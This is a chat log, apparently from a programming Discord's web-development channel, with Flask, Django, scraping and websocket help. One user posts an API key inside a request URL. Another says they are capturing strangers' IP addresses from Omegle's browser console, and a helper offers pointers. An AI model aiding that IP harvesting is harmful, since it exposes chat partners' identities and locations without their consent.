from endpoints import misc_endpoints
from dislog_EPs import dislog_endpoints
api = Flask(__name__)
mysql_user = "user"
mysql_pass = "pass"
mysql_server = "127.0.0.1"
api.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
api.config["SQLALCHEMY_BINDS"] = {
'discorddb' : f"mysql+mysqlconnector://{mysql_user}:{mysql_pass}@{mysql_server}:4000/DiscordDB"
}
db = SQLAlchemy(api)
from models import *
db.create_all(bind='discorddb')
var = DiscordDB.query.order_by(desc('message_id')).filter_by(author_id=529697752850890782).limit(10)
for res in var:
print(res.content)
# register routes from urls
api.register_blueprint(misc_endpoints)
api.register_blueprint(dislog_endpoints, url_prefix='/dislog')
if __name__ == "__main__":
api.run(debug=True)
class DiscordDB(db.Model):
__bind_key__ = 'discorddb'
__tablename__ = 'messages'
id = db.Column('message_id', db.BigInteger, primary_key = True)# "message_id BIGINT PRIMARY KEY,"\
channel_id = db.Column('channel_id', db.BigInteger)# channel_id BIGINT,"\
channel_name = db.Column('channel_name', db.String)#"channel_name TEXT,"\
author_id = db.Column('author_id', db.BigInteger)#"author_id BIGINT,"\
author_name = db.Column('author_name', db.String)#"author_name TEXT,"\
nick = db.Column('nick', db.String)#"nick TEXT,"\
guild_id = db.Column('guild_id', db.BigInteger)#"guild_id BIGINT,"\
guild_name = db.Column('guild_Name', db.String)#"guild_name TEXT,"\
content = db.Column('content', db.String)#"content TEXT,"\
attachments = db.Column('attachments', db.String)#"attachments TEXT,"\
created_at = db.Column('created_at', db.String)#"created_at TEXT,"\
created_at_unix = db.Column('created_at_unix', db.BigInteger)#"created_at_unix BIGINT"\
I need to import that model from models.py. But it needs the db object
if I import that from main its obviously a circular import
did you search on stackoverflow i just found something similiar i think
Stack Overflow: https://stackoverflow.com/questions/15021292/configuring-flask-sqlalchemy-to-use-multiple-databases-with-flask-restless Its pretty old but mby helps
or https://flask-sqlalchemy.palletsprojects.com/en/2.x/binds/
Sry but i cant help anything more bc im not into flask :/
i've checked a bunch of stack overflow articles on this lol not that one though
its old but i hope it helps
I don't understand it
whats manager?
i'm not using restless
and it doesn't actually show the import
so...
sry idk either
but mby this helps
from a yt vid i found about multiple databases in flask with SQL-Alchemy
I know how to do that. I just can't figure it out spread out over blueprints
ah
I think I can load it in the main.py file then store the db in config and access with
db = current_app.config["flat_pages.db"]
How can I scrape the data directly off the page? Full file based app at https://paste.pythondiscord.com/udafepugey.py - Test code below works from a file but not a url.
# test routine
from bs4 import BeautifulSoup
import requests
import lxml
def get_link_data(url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
'Accept-Language': "en",
}
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.content, 'lxml')
return(soup)
def main():
pass
main()
# url = "https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio"
# soup = get_link_data(url)
# Workaround β open page above and save to file "urlPageSaved.html"
filename = "urlPageSaved.html"
soup = BeautifulSoup(open(filename,'rb').read(), "lxml")
print(soup.find('g', {'class' : 'highcharts-yaxis-labels'}))
# print(soup.find('g', {'class' : 'highcharts-series-0'}))
Try it, it falls over.
what error?
file vs url
C:\Users\User\Documents>python bs10stub.py
<g class="highcharts-axis-labels highcharts-yaxis-labels" data-z-index="7"><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="396">$6k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="334">$8k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="272">$10k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="211">$12k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="149">$14k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="87">$16k</text><text opacity="1" style="color:#666666;cursor:default;font-size:15px;fill:#666666;" text-anchor="end" transform="translate(0,0)" x="33" y="26">$18k</text></g>
C:\Users\User\Documents>python bs10stub.py
None
the script (data) is missing
I use this channel though its not correct
no
ok so
I have a problem, cloudfare says I need to enable cookies
but im using an user agent
need #apis-and-scraping
Trying to do a GET request, on browser it works fine (401)
https://api.vrchat.cloud/api/1/user/usr_1b7c175a-283e-4226-ae19-5e77d72bd1cf/friendStatus?apiKey=JlE5Jldo5Jibnk5O5hTx6XVqsJu4WJ26
But when I do it in python, it blocks because I need to enable cookies??
s = requests.session()
headers = {'user-agent': 'Something/1.0',
"Authorization": "Basic redactedkey"}
#params = {"apiKey": "JlE5Jldo5Jibnk5O5hTx6XVqsJu4WJ26"}
r = s.get("https://api.vrchat.cloud/api/1/user/usr_1b7c175a-283e-4226-ae19-5e77d72bd1cf/friendStatus?apiKey=JlE5Jldo5Jibnk5O5hTx6XVqsJu4WJ26",
headers=headers
)
the funny thing is
it works on the other link
but this link doesnt work
If anyone knows anything about flask and/or web sockets, kindly take a look at this question please: https://stackoverflow.com/questions/67060460/how-to-restrict-access-to-one-tab-to-prevent-merge-conflict#
It's not because you're logged in when you've saved the page and the call via requests isn't logged in is it?
No, it's a public page
try just printing the soup to make sure its getting set correctly
or set breakpoint and hover
well it is definitly .text
source = requests.get(f'https://disboard.org/search?keyword=key&page={i}')
if source.status_code == 404:
print("Scraped all of them")
source = source.text
i+=1
soup = bs4.BeautifulSoup(source, 'lxml')
can you get anything from that page?
yea
from bs4 import BeautifulSoup
import requests
import lxml
def get_link_data(url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
'Accept-Language': "en",
}
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
return(soup)
url = "https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio"
res = get_link_data(url)
print(res.text)
with this I would do:
When the doc is opened, request a websocket connection and check in your models (e.g. Document) if it's editable or not. If not, set editable to false and accept the websocket connection.
Once this websocket connection is closed, set editable back to true within the model, so other people can edit it.
you wouldn't use that second text to get the soup
that converts it plain text I think
idk
edited to remove ambiguity
You could also possibly use no websockets, and instead do the same thing (checking if the document is editable or not) via HTTP requests to your API - and having a JS function which will send a HTTP request to make the document editable once again once the user has closed the window (window onclose event).
but I think websockets would be more reliable in this case.
Somebody said Iβd need to combine web sockets and token, but is that so?
The data isn't there
The βmodelβ you speak of is like a flask SQLAlchemy database right? db .column
me?
i guess they mean a expire token e.g 3600 seconds so 1 hour after that the token expires if it doenst get refreshed through some condition. The same does spotify
are you sure the data is there in an up-to date saved version
everything on the page is going to be there lmao
its the page source code
yes, same as #web-development message
Yes, it's the source code but not the chart data
... if the chart is one the page its going to be in the source code. well actually I guess they could do some weird iframe thing but then I don't think it would be saved anyway
editing = None
def on_start_edit():
if editing is not None:
# editing somewhere else = error
token = new_token()
user = new_user(token)
editing = user
# give the user the token
def on_edit(token, changes):
if editing.token is not token:
# wrong person, don't allow editing
# apply changes
class User:
# create a user that is defined per browser and linked to a user.
I can try to get it later. RN its too much of a pita to switch venvs
This is the pseudocode they gave me
How would this work? I didnβt understand his explanation :/
He said that I could do it that way - using a column in the model - but that I could do it using only tokens
you give the user who edits a token for example 1 hour if he doenst refreshes he gets kicked and someone else can edit and if someone already edits then the doc is not editable so the requesting user doesnt get a token to edit. Its basically checking who got a token to edit and who not and when the doc is editable and when not
I think it needs something like that because the data isn't there with normal tools. I doubt it would be editable.
And this wouldnβt involve web sockets at all?
Oh needs sockets?
Lol some ppl are saying I need sockets others are saying I donβt idk
? editable is just an arbitrary field in the model.
using websockets would be more reliable.
Do you have an example?
Yeah I understood that
not rlly it just takes an api and some javascript who makes request to see who has a token and who not and which file is editable and which isnt
Ummm so omega you are saying that web sockets are not necessary?
that's not really relevant. Authentication is built ontop of the websocket / API. The main issue is if a user closes the window, JS scripts listening to the window onclose event are not supported in all browsers - so the application won't work in 3 browsers.
I want to make sure that the tab isnβt duplicated anywhere - different tab on same browser, different browser, different device, etc...
Are you using React? If so you can avoid websockets and handle users closing windows reliably.
I mean a rea time collaboration system like google docs is ideal but I think thatβs too hard
then websockets is probaly better for that like @opaque rivet explained it isnt supported everywhere
Ah okay, thank you for the conclusion, I now understand why web sockets is better than just tokens
Iβll try to implement it
No...
good luck then
What do you mean by tokens? How are you using tokens in such a scenario?
So I combine web sockets with the data βeditableβ thing with tokens
Well the pseudocode I sent above, the guy who wrote it said I could do it using only tokens and no βeditableβ variable database or web socket required
this
Wait the token to force the user out if they have been editing for like 2 hours, is that python or JavaScript?
I dont know flask but in django which is similiar i would do it in pyhton but its probably also in javascript possible
Oh I see, I don't really see the point of tokens here - use tokens just for the authentication of users. It would go something like this:
- User requests websocket connection to server
Conditionals:
-
You check if they can edit the document (I assume you have a
Documentmodel with a relationship to its users who can edit it) -
You check if the document is editable (e.g. from a boolean field in the
Documentmodel) (editable=True) turns to (editable=False) -
If so, accept websocket connection and continue.
-
Else, deny the websocket connection.
If the user times out, closes the window, stops editing etc, you'll have a function closing the websocket and then turning editable back to true.
Also after an arbitrary amount of time you can disconnect the websocket connection (threading will be needed here) but you'll need to inform the user on the frontend that it was disconnected (so python + JS)
and if you're learning JS, getting into a framework would make stuff like this easier and more manageable. e.g. with React you could've avoided websockets all together (that's not a bad/good thing) - websockets are great to know
Wow, thank you for such a detailed walkthrough
Iβll definitely give it a try when school ends
Yeah, I do indeed have a Document model
βIf the user times out, closes the window, stops editing, etcβ
Does python check this? Or JavaScript? Cos timing out is python, but closing the window is JavaScript right?
closes the window means the user closes the tab/browser, that will stop the WS connection
you'll have a function which is fired when your websocket disconnects (in python) which will do your cleanups, like settings editable to true
Okay, understood, thank you very much
at least from my experience with django & websockets, I doubt flask would be much different conceptually
is their anything bad that can be obtained from a database object class?
a db.Model
I'm making an API that returns values from it
def getFields(msg, fields):
#ex: ?fields="author_id,content,created_at"
fields = fields.strip('"')
fields = fields.split(',')
allowed_fields = ['']
res = []
for field in fields:
field=field.strip()
if field in []
field = getattr(msg, field)
and wondering if I should have an allowed_fields check
is their any private data in a db.Model object assuming that the data stored in the database isn't private?
I.E. login info
query = current_app.config["DiscordDB"].query.order_by(desc('message_id')).filter_by(author_id=author_id).limit(10)
result = []
for msg in query:
result.append(getFields(msg, fields))
eh I will just add it. The overhead from a check will be fairly trivial
heh if I cared I guess I wouldn't be using python
save a try,except block anyway
... how tf do you return a json list?
x = [1,2,3]
return jsonify(x) doesn't work
return jsonify({x}) doesn't work
Why doesn't it work?
And is x definitely just a list of integers?
I know i can do return {"data":x} but I don't wanna
no its a lit of a lot of stuff
*list
integers and strings
There must be another data type in there that doesn't map to JSON
ok will check
its a little hard since vs code won't let me set breakpoints in the blueprint files
django channels... drf... any other major django libraries to learn?
update nope it works fine. I is dum
I still don't understand why I can use a file but not a url to scrape #web-development message
query = current_app.config["DiscordDB"].query.order_by(desc('message_id')).filter_by(author_id=author_id, content=f'%{q}%').limit(size)
I don't understand why this doesn't work... no error
where q is a query string
query = current_app.config["DiscordDB"].query.order_by(desc('message_id')).filter_by(author_id=author_id).limit(size) does
huh that is weird
lemme try getting the parrent block and then parsing that
That is a working example with a full app link above it. Run with file downloaded then try url
oh well duh.
view-source:https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio
its all js
so, why can't I scrape it?
because its not being sent to you as a html webpage
but as a js application
your browser turns that into html
so that explains why I can get it from the saved file
ok, I'll look at selenium
or you could scrape the js
how to scrape the js
nvm you cant
its not there at all its fetched from server
yea selenium your only option i know of
lemme see if I can get the request browser makes
hey thanks mate. Everyone else just says it's easy, just do this.
I'll learn selenium
Yea no dice I think on browser requests. It does send a lot of data as a response to a cuple requests but I can't find the values in there
Anything particular I should look for in a selenium tute?
sorry idk a ton about selenium as far as this goes
I kinda just know how to click buttons and enter text lol
no worries. really appreciated
do you strictly need THAT data?
I don't really get how the y-axis labels are that useful
because theirs a good chance you can get the same data from other sites
which may be more scraping friendly
Yes y-axis, it's essential to use regression to reconstruct the data from sgv Link to full app above code
ah
yea I don't think their in the request
the points on the graph are but their also not great for scraping
the points are all numbered and it kinda looks like its delibritly made hard to fetch
no, I take the svg shape line and use the y-axis to recreate the data to the cent
using chart coordinates
ah neat
they may have been right lol
if you run my app you get the data to the cent
this seems like the worst possible way to get that data lol
I agree
but sounds like a fun challenge
i'm making an api to access my discord log bots data
?
if you can't remember what you are looking for
oh yea lol
have a good day
you too
how would I do this
query = current_app.config["DiscordDB"].query.order_by(desc('message_id')).filter_by(author_id=author_id).filter_by(content=f"&{q}&").limit(size)```
everything works except the content
oh... I put & instead of %
lol I don't think it works anyway but let me see
yea it doesnt
you can do
User.query.filter(User.email.endswith('@example.com'))
but I have the database object stored in the app.config
π (frankly) its funny you r talking to urself @tacit brook
everyone does from time to time
lol
sql query?
i feel like i no more about breaking things apart than the development itself lol
So umm I have a FieldList(FormField(MyForm)) with Flask wtforms
I want to pass in a value to MyForm
How can I do this?
how would I make a check box ticked/not ticked based off a database value
ive tried this with word being 0 or 1
<input type="checkbox" id="antiword" name="antiword" checked={{ word }}>
Hello, I am using django-wkhtmltopdf, I followed their github instructions, and I got this error :
Any idea of what may cause the issue?
looks like the path to your templates arent configured right. Can you show your urls and views.? And did you add wkhtmltopdf urls to your root url.py bc they dont say that in the github instruction.
can i use python like javascript in html?
no the closest to python in html is django template syntax
so how do people use python in web development?
django or flask framework fex
u use it as the backend not for frontend
frontend is html and the design basically and backend is the logic behind everything
so i can use python in the backend. right?
i heard that javascript is also used on backend stuff
yeah
and i dont wanna learn js if i can use python instead
yeah i know node js for example with express you can also use for backend
i have no idea what node.js means. by js i meant javascript
if you dont want js then try flask or django. theyre beginner friendly and there are good tutorials on yt as well as prebuild things which make your life easy
node js is just a framework in javascript an then u use modules to create a backend
so let me get it straight. python is for backend and backend means logic and functions and computer magic. html css is the looks. right?
thanks for your reply : my view.py
template = "pdf/pdf.html"
context = {"title": "Hello World!"}
model = Quote
def get(self, request, *args, **kwargs):
response = PDFTemplateResponse(
request=request,
template=self.template,
filename="hello.pdf",
context=self.context,
show_content_in_browser=False,
cmd_options={
"margin-top": 50,
},
)
return response```
and my url.py :
``` url(
r"^pdf/(?P<pk>\d+)/$",
MyPDFView.as_view(),
name="pdf",
),```
yeah thats the simplest explanation
ok.
so, what the django and flask are? can i use normal python? how it works? sorry for all these questions π¦ i have no idea how anything works
you are saying template but it needs to be template_name if you use cbv
Ok, thanks will try this out
django and flask are pyhton frameworks for web development. Flask isnt as advanced as django in my opinion but simpler for beginners.
ok gl 2nd line just template_name instead of template im not sure if in the get method too bc i never used it there if i already have it specified above
so, a framework is that thing that manages all the things? like idk, hosting the site?
ping was by accident sorry about that
no, not rlly. u use other websites server or ur own server for that. framework kinda manage things behind the scences but not those things
oh, so a framework just manages the functionality of things like buttons that do stuff?
no buttons are frontend thats in your html/js file. frameworks are specialised for a use e.g web development and then they manage some things like how to add 3rd party packages,how to set up urls and so on
Flask WTForms, I have a FieldList(FormField(MyForm))
Does anyone know how I can pass an argument to MyForm?
So for example MyForm could be like telephone numbers
And I want to pass in the country number to MyForm so I can validate the telephone number
oh, ok.
https://stackoverflow.com/questions/35952543/passing-arguments-to-form-constructors-wtforms
i would make it like them and if theres no precreated validator i would create my own.
if thats wrong sry but i dont know flask rlly i just googled it up
i would suggest to watch some yt tutorials of making a django site and then u understand it better. I learned it that way myself too
For example DennisIvy,CoreySchafer, justdjango
But u gotta watch out bc of the syntax. the tutorials are kinda old and it changed a bit
should i learn html first or not? for me, html is easy. my problem is understanding how all the web stuff works
i learned it before but i dont think its rlly necessary bc u learn a lot of html with django or flask as well
i mean, i wanna learn clean html/css but, if its not the correct way of learning web stuff then what should i start with?
Hi everyone
How do you create a filter for a DRF serializer field?
For example I want my serializer to serializer only those objects that have name = "Product" from the queryset
u can learn it but i learned it myself before django too and now i just use some prebuild design and change it a little bit or use bootstrap or a css framework which provide css style which you simple appy in html
oh, i actually wanna make my own designs. im really good with gui design and stuff.
If u use cbv u can pass an queryset e.g queryset = Model.objects.filter(name="Product")
So the queryset isnt actually a queryset
then learn it
i am
I am getting this data from a third party library andnot from the db
So I cannot apply SQL type filters
directly
btw, in a kind unrelated (but a bit related) note, can i use html/css in normal gui libraries in python? like tkinter and pyqt.
great for ya but mby try bootstrap for the start or after some time when u focus on backend stuff bc it provides a lot with no css basically and simple html classes to apply
i tried tkinter and no theres no html since its not a web development framework more a gui framwork in pyhton
i heard that with some "computer magic" you can use some css. but i heard its possible in pyqt, idk about tkinter
im learning html from a course on yt, the channel is called FreeCodeCamp. i learned python from there.
thats not only for SQL its also for 3rd party packages to query. just use their model name instead of your own and dont forget to import it on top
Yes true, but their model does not inherit from Django Models
Or else I would have directly used ModelSerializer
they are good but kinda long those tutorials and all in one. i dont like that. thats why i learned it with django better than before
can u name the package?
quartic_sdk
i love long tutorials. i get to know everything all at one sit.
some people dont like it tho...
i think its only me who can sit for 4 hours straight.
Very purpose specific
@native tide seems like tkinter does have a work around: https://stackoverflow.com/questions/30520492/can-you-style-tkinter-guis-with-css
lol seems like the dude in the comments got downvotes, i didnt look at that... so maybe tkinter dont have a workaround
ok but u can still filter it just without the models filter. there are other filter possibilities e.g with Q or django-filters
lol. i just used it twice or so and then changed to django bc i dont like frontend and design so i changed to backend stuff
im tryna learn pyqt anyway so idc lmao
@native tide I just want to know if we can do something like this
(value)
Here value='product' is only for explanation
It will give an error
yeah u have to make the queryset in the views.py and pass it as the queryset with the get_queryset method
thats the only way i can now think of it
https://www.django-rest-framework.org/api-guide/filtering/ and under the section django-filter
mby u can do something like that but in the end its the same as you would do it in the views with the queryset
Django, API, REST, Filtering
np tell me if it worked or not pls im interested too
Yeah sure
#models.py
class A(models.Model):
...
fk1 = models.ForeginKey(FK1, on_delete=models.CASCADE)
fk2 = models,ForeignKey(FK2, on_delete=models.CASCADE)
...
class User(AbstractBaseUser):
...
fk1 = models.ForeignKey(FK1, on_delete=models.CASCADE)
...
class FK1(models.Model):
...
fk2 = models.ForeignKey(FK2, on_delete=models.CASCADE)
...
#serializer.py
class ASerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = A
fields = '__all__'
#views.py
class AViewSet(viewsets.ModelViewSet):
queryset = A.objects.all()
serializer_class = ASerializer
I'm using Django. When creating an new instance of model A, how can I get the some value from an instance of FK1 linked to the current logged in user and assign them to the newly created instance of model A ?
if you want to do it as soon as the instance is created i would suggest signals. thats like 2 lines of code with it
what is signals ?
basically some code thats runs before a instance saves/deletes or after it.
for example: ```
from django.db.models.signals import post_save
@receiver(post_save, sender=User)
def create_profile(sender, instance, created, **kwargs):
if created:
Profile.objects.create(user=instance)
Contact.objects.create(user=instance)
and just replace it with your models and you should be good to go
what method should i override in the modelviewset then ?
not in the modelviewset in a seperate file called signals.py
i dont understand this... where can i read a more details example ? how can i call this signals from the viewset when i create an object ?
- just google django signals and the first link is the official docs. 2. you dont thats why u specify the model and under what condition u want another model to be created
No but jut ask your question and mby im still able to help you bc the docs seem to be simple to understand.
i think i just have found it. My javasrcipt is so rusty hehe thanks anyway !
Ok π
I have
struct A {
attr: i32
}
struct B {
attr_other: i32
}
let a = A { attr: 12 };
let b = B { attr_other: 12 };
Now, I know that a.attr == b.attr_other will yield true. However, I want that a == b should yield true. In python, I would override the __eq__ method on the class to achieve this. How would I do this in Rust?
Solved
Issues with Ajax Posts towards django. π¦ my csrf token is in the json file. but the datatable values are not...
doing an alert just before the ajax from the table data comees back ok
can you show the error and the ajax request?
Hey guys! Am watching a web scraping tutorial on YouTube, I did exactly what the tutor did in the tutorial, but it didn't work with me.
This is my code.
But it gives me this error
Does anyone know why is this happening? Can anybody help me please?
in line 30, you probably meant find_element_by_class_name (you wrote it in plural)
Wow!
All of that was because a single letter?!
Thank you man, really appreciate it.
issue with the Ajax request π¦
$('#submit_phones').click( function() {
var info = table.rows( { selected: true } ).data();
var URL = "{% url 'upload_devices' %}";
$.ajax({
type: "POST",
url: URL,
dataType: "json",
data: {
info : info ,
csrfmiddlewaretoken : '{{ csrf_token }}'
},
success : function(json) {
alert("Successfully sent the data to Django");
},
error : function(xhr,errmsg,err) {
alert("Could not send data to Django. Error: " + xhr.status + ": " + xhr.responseText);
}
});
});
but my "info" is filled at the start (after var info with an alert i get my info objects) ) but the ajax request does not seem to pass it with the POST any help ?
TypeError: The view function did not return a valid response. The return type must be a string, dict, tuple, Response instance, or WSGI callable, but it was a tuple.
Didn't return a valid response, return must be a tuple but it was a tupleπ π
return jsonify({'message': e.user_message, 'category': 'error'}), 400, {'ContentType':'application/json'}
hey guys. How do i initalize my state to be the props
I dont rlly know flask but i think you should follow the docs and wrape that into a make_response()
bc after the parentheses of jsonify 400 and {"contentType":applicaiton/json"} arent in the jsonify or in the relation it should be and thats why theres an typeError
@dusty moon If you are new to web dev, I'd definitely recommend learning the basics of HTML, CSS and Flask before something more specific such as TKinter or pyqt.
This is the best CSS layout video I have found on Youtube:
https://www.youtube.com/watch?v=qm0IfG1GyZU&t=2s
This is the best Flask tutorial that I have found on YouTube:
https://www.youtube.com/playlist?list=PL-osiE80TeTs4UjLw5MM6OjgkjFeUxCYH
In this dynamic talk, Una goes over the power of modern CSS layout techniques by highlighting a few key terms and how much detail can be described in a single line of code. Learn a few layout tricks you can implement in your codebase today, and be able to write entire swaths of layout with just a few lines of code.
Resource:
Check out the demo ...
i appreciate that !
been having some issues connection to socketio on my flask server
using flask-socketIO
client keeps sending the same request
"GET /socket.io/?EIO=3&transport=polling&t=NZBtzzL"
running the app using socketio.run(app) and socketio is declared like:
socketio = SocketIO(app, async_mode="eventlet", cors_allowed_origins="*")```
and ideas?
?
const myComponent = () => {
const [myState, setMyState] = useState();
return (
<AnotherComponent this_prop={myState} />
)
}
@buoyant shuttle
your question doesn't make sense, can you elaborate
I need help implementing login/registration authentication, could anyone please suggest me a good resource or a library for it?
im using MERN
you know what MERN means? Its literally all js except the db. why are you asking that in a python channel.
I assumed web development meant including other web technologies also
I won't make this mistake again
i mean it says js above in the channel but i dont think somebody here knows js backends rlly well, mby im wrong
that question is fine - you'd be better off asking in a node.js or reactiflux discord instead, where more people can help π
yes I did find an answer in another server thanks for the suggestion though
sry wasnt meant to be offensive
it's okay I should have thought of that before asking here
hi i have question
so something is writen in a console (log)
and
i want it to be in a variable
variable = the console log
how can i do it
which console? the developer browser console or the IDE console?
thats the developer browser console and you want to get the value a user writes inside of it and save it, right?
so no user input? just the error message or the console.log u did in your js file?
ok but why dont you try to render the text you would console.log in a p tag with the name = "console.log" and then query it within the django views and save it in a variable?
i cant i didnt code it its ip from omegle
so you are web scraping?
yes
i was looking for tutorials on youtube
but you had to get the id
but console log doesn't have an id
ok if youre web scraping. youre probably using no framework rahter u use basic python so this should give you an idea on how to do it.
https://stackoverflow.com/questions/37944111/python-rolling-log-to-a-variable
Howdy
I'm working with flask and getting this error on all my pages:
The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.```
I think it may have to do with the below line in my routes.py file:
app = Flask(__name__)
Because when I comment it out, my pages render but they don't get the packages from __init__.py
Any help would be great
can someone help me on how I would make it so if a database says one thing a checkbox is set to on and if its not that it is set to off?
I have a vairable passed through called word
When making a django app what is the difference between using path, and url regex? is one better then other other I'm still new to it so I've been trying to figure it out
I see in 3.x on ward alot of docs use path
and before were using url so I was wondering about the change
how do I launch this website
I want it on a local host for now, but I not sure how to run the code
is there a way to return the same render template twice in the same app route (if one is in an if statement)?
You can open the homepage in a browser I'd you just want to look at it. If you want it to be functional then connect to the backend. I am using that template with django.
its because i am trying to send data to my javascript
Yes, you can do if something render template else render a template.
it doesn't seem to work for me
it doesnt send the data
the second time
but it works fine the first time?
from flask import Flask, request, redirect, render_template
from os.path import join, dirname, realpath
from detection.Detector import Detector
#https://blog.miguelgrinberg.com/post/handling-file-uploads-with-flask
UPLOADS_PATH = join(dirname(realpath(__file__)))
WebServer = Flask(__name__, template_folder="resources", static_folder="resources/static/")
@WebServer.route("/", methods=["GET", "POST"])
def index():
data = "epic"
if request.method == "POST":
file = request.files["file"]
x = int(float(request.form["x"]))
y = int(float(request.form["y"]))
location = "images/" + file.filename
with open(location, "wb") as target:
file.save(target)
resistance = Detector.create().detect(location, x, y)
bands = resistance.bands
return render_template("Resistor.html", data=bands)
return render_template("Resistor.html", data=data)
if __name__ == "__main__":
WebServer.run()```
dont mind the comment its just a reference for my write up lol
Your problem is that the render template inside the if only renders when there is a post request. As soon as there is a get request the other template will render.
ahhh i see
what would be the best way to go about this
sorry im not the best at this...
nevermind i have fixed it
thanks very much
Can anyone give quick help? I keep receiving this error when trying to start up Dash in Spyder OSError: [Errno 49] Can't assign requested address. I've tried finding and killing all ports but the error still comes up
Is the IP right?
i cant install mysqlclient in windows pc
Collecting mysqlclient
Downloading mysqlclient-2.0.3.tar.gz (88 kB)
|ββββββββββββββββββββββββββββββββ| 88 kB 99 kB/s
Using legacy 'setup.py install' for mysqlclient, since package 'wheel' is not installed.
Installing collected packages: mysqlclient
Running setup.py install for mysqlclient ... error
it is installing tar.gz file
can anyone help its on windows and its downloading tar.gz file i think that extension is for mac and i want mysqlclient in windows for django project
From the project's pypi: "Building mysqlclient on Windows is very hard"
"But there are some binary wheels you can install easily." seems you have to install some wheels from the wild
Else if you are looking for a win-supported driver, simply use pymysql
I used to download wheel file to install mysqlclient is there any way i could install mysqlclient using pip install mysqlclient
no idea
Hey how to scrape a javascript based site
or a site which loads data after taking some seconds
#models.py
class A(models.Model):
...
fk1 = models.ForeginKey(FK1, on_delete=models.CASCADE)
fk2 = models,ForeignKey(FK2, on_delete=models.CASCADE)
...
class User(AbstractBaseUser):
...
fk1 = models.ForeignKey(FK1, on_delete=models.CASCADE)
...
class FK1(models.Model):
...
fk2 = models.ForeignKey(FK2, on_delete=models.CASCADE)
...
#serializer.py
class ASerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = A
fields = '__all__'
#views.py
class AViewSet(viewsets.ModelViewSet):
queryset = A.objects.all()
serializer_class = ASerializer
I'm using Django. When creating an new instance of model A, how can I get the some value from an instance of FK1 linked to the current logged in user and assign them to the newly created instance of model A ?
path is the newer way to define it.
i actually did pip install mysqlclient on windows by just installing wheel before and in your error msg it does say wheel isnt installed mby try that
u asked that question 2 days ago and I answered you use signals thats the best option and simplest option for you
couldnt figure out how to do so, signals seem like an overkill
u need 2 to 3 lines and got what you want
i tried
@receiver(post_save, Sender=A)
def save_A(sender, instace, created, **kwargs):
if created:
A.fk1 =
...
but i dont know how to access the current logged in user within this signals.py
You're probably doing something wrong if you need to access the user in a signal
i guess directly access from the view with request.user.fk1.fk2 is better ?
thats almost right but I think you want this:
@receiver(post_save, sender=User)
def create_a(sender, instance, created, **kwargs):
if created:
A.objects.create(fk1=instance.fk1)
In this example as soon as a user gets created a new A gets created and that fk1 is the users fk1
I hope that helps
no, the creation of user and creation of A is non-related at all
what i want is when a logged in user create the A, i can get some of this user's value to assign to the new instance A
i changed sender to A already but couldnt figure out how to retrieve value from current logged in user or its linked model
but that is exactly doing that just replace user with the model of contribution and not to A if you want to save it to A
mby I'm miss understanding you
im sorry my bad for stating the problem. contribution is the A in my actual code
@receiver(post_save, Sender=A)
def save_A(sender, instace, created, **kwargs):
if created:
A.fk1 =
...
i did this but i need to assign a.fk1 = user.fk1
ok i get it now. You want it way easier than I thought
u can make that in your views.py like you said by
A.fk1 = request.user.fk1
bc request.user is always the logged in user or (null or false not sure) if hes not
yeah thank you
also when i have a Profile model linked to user, is it better to use onetoonefield or foreignkey with unique=true ?
sry for getting you on a wrong path but i thought u know the request.user thing
but it look kinda clumpsy to do request.user.fk1.fk2
i know but i thought there is an elegant way to do so xD
i have an OneToOne field but foreignkey is also good or rather not bad in any means
I even think that there are almost they same. OneToOneField and Foreignkey with unique=True
is there any difference if i put the onetoonefield in User model and in Profile model ?
beside the backward relation
no but I think for a profile model its good to have a backwards relation
i guess this is web development, i have an html string from an website for example youtube.com and want all image objects or better the src url of those image objects, how to filter those?
in what language and you are trying to get all Images from youtube.com for example? am i understanding that right?
i can get the html code in string format from a website with requests from python, this is what i already have. i wanna know how to filter all image urls and output them / store them in a database
Does anyone know how to pass a dict over a template page
e.g.
current page --> dict to template 1 --> dict to template 2
In Django u would do this:
https://stackoverflow.com/questions/19745091/accessing-dictionary-by-key-in-django-template
@native tide not what I meant, but I was very unclear and ambiguous. I found the solution, no stress!
This i probably what you want
https://stackoverflow.com/questions/62505880/python-requests-html-extracting-src
Hope it helps
wondering if anyone can help. I've searched the docs for requests-html but no luck https://requests.readthedocs.io/projects/requests-html/en/latest/
Previously I was using requests and beautiful so...
thank you very much β€οΈ
good for you. and yeah you were question was kinda unclear and then i just guessed what your trying
next time mby try to google first but still np
It was the first link after googling "get images in html code with requests python"
@fair shale most likely the use web sockets bc thats the default way to make a chat between users basically
@elder nest I would check if the passed word is unequal to null and then change the checked property on that condition and all with js/jQuery
@limpid python Thats a static website right? If so u can use netlify or some other static website publishing website
you can ask here to look over it if you think there are some errors
You should use some validator/formatter to do that
i give an ajax response to django.
but my results give back the response + 1 none ....
if request.method == 'POST': data = request.POST.get("info") print(data)
result:
"{'phone1':{'first_name': 8009,'last_name': 66},'phone3':{'first_name': 6699,'last_name': 66},}" None
when i alert it just before ajax it is ok
as a print. it is without none when i test before it pssed
@hallow yacht pls show your html where info is to better understand it
